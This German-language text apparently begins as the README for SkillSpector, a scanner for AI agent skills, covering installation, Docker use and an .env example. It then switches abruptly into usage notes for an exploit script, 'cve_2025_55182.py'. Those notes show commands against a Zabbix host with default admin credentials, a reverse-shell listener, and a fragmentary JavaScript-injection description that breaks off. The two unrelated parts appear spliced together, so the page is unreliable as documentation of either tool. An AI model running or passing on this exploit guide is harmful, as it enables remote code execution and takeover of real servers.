Sicherheitsscanner für KI-Agenten-Skills. Erkennt Schwachstellen, bösartige Muster, Sicherheitsrisiken, Prompt-Injection, Datenerfiltration und Lieferkettenrisiken in Claude Code-, Codex- und MCP-Skills, bevor du sie installierst.
Sicherheitsscanner für KI-Agent-Skills. Erkennt Schwachstellen, schädliche Muster und Sicherheitsrisiken, bevor Agent-Skills installiert werden.
KI-Agent-Skills (verwendet von Claude Code, Codex CLI, Gemini CLI usw.) werden mit implizitem Vertrauen und minimaler Prüfung ausgeführt. In der analysierten Teilmenge von 31.132 Skills des Forschungsdatensatzes enthalten 26,1 % der Skills Schwachstellen und 5,2 % zeigen wahrscheinlich schädliche Absicht.
SkillSpector hilft dir bei der Beantwortung der Frage: „Ist dieser Skill sicher zu installieren?"
SkillSpector ist Teil der NVIDIA Verified Skills pipeline, die Agent-Skills vor der Veröffentlichung scannt, bewertet und signiert. Skills, die bestehen, werden im NVIDIA skills catalog veröffentlicht.
/skillspector-Befehl installieren, um Skills aus Agent-Sitzungen heraus zu scannen.Hinweis zu Open-Source-Software: Dieses Projekt lädt zusätzliche Open-Source-Softwareprojekte von Drittanbietern herunter und installiert sie. Prüfe die Lizenzbedingungen dieser Open-Source-Projekte vor der Verwendung.
Erstelle und aktiviere zuerst eine virtuelle Umgebung (alle make-Ziele setzen voraus, dass die venv aktiv ist). Verwende uv oder pip; das Makefile verwendet uv, falls verfügbar, andernfalls pip.
Schnellinstallation mit uv (nur CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Wenn Sie vorhaben, `skillspector mcp` auszuführen, installieren Sie das MCP-Extra zum Installationszeitpunkt:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
Aus Quelle:```bash
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
uv venv .venv && source .venv/bin/activate
make install
make install-dev
### Docker (kein Python erforderlich)
Führe SkillSpector ohne Installation von Python aus, indem du es lokal aus dem enthaltenen [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) baust. Das Image basiert auf dem offiziellen Docker-Python-Image `3.12-slim-bookworm`.
**Image bauen:**```bash
make docker-build
# or: docker build -t skillspector .
Ein lokales Verzeichnis scannen, indem Sie Ihr aktuelles Verzeichnis in /scan einbinden, das Arbeitsverzeichnis des Containers:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**Scan mit LLM-Analyse** durch Übergabe von Anmeldedaten mit einer lokalen `.env`-Datei:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
python3 cve_2025_55182.py --target https://192.168.1.10 --username admin --password admin
| Flag | Beschreibung | Standard |
|---|---|---|
--target | Ziel-URL (erforderlich) | - |
--username | Benutzername für die Authentifizierung | admin |
--password | Passwort für die Authentifizierung | admin |
--listen-ip | IP-Adresse für den Reverse-Shell-Listener | Automatisch erkannt |
--listen-port | Port für den Reverse-Shell-Listener | 4444 |
--no-listener | Listener nicht automatisch starten | false |
--timeout | HTTP-Anfrage-Timeout in Sekunden | 30 |
--verbose | Ausführliche Ausgabe aktivieren | false |
# Grundlegende Ausführung mit Standard-Anmeldedaten
python3 cve_2025_55182.py --target https://192.168.1.10
# Benutzerdefinierte Anmeldedaten und Listener-Port
python3 cve_2025_55182.py --target https://192.168.1.10 --username admin --password secret --listen-port 9001
# Ohne automatischen Listener (manueller Listener)
python3 cve_2025_55182.py --target https://192.168.1.10 --no-listener
# Ausführlicher Modus
python3 cve_2025_55182.py --target https://192.168.1.10 --verbose
zbx_session-Cookie und das CSRF-Tokenqueue.php-EndpunktDie Schwachstelle befindet sich im queue.php-Endpunkt, der Benutzereingaben unsachgemäß verarbeitet, bevor sie an den JavaScript-Ausführungskontext übergeben werden. Durch die Injektion von JavaScript-Code in bestimmte Parameter kann ein Angreifer beliebigen Code im Kontext des Zabbix-Servers ausführen.
queue[] - Array-Parameter, der für die Injektion anfällig istsid - SitzungsidentifikatorDie Ausnutzung nutzt eine JavaScript-Payload, die:
/zabbix.php?action=queue.getqueue[]-Parametern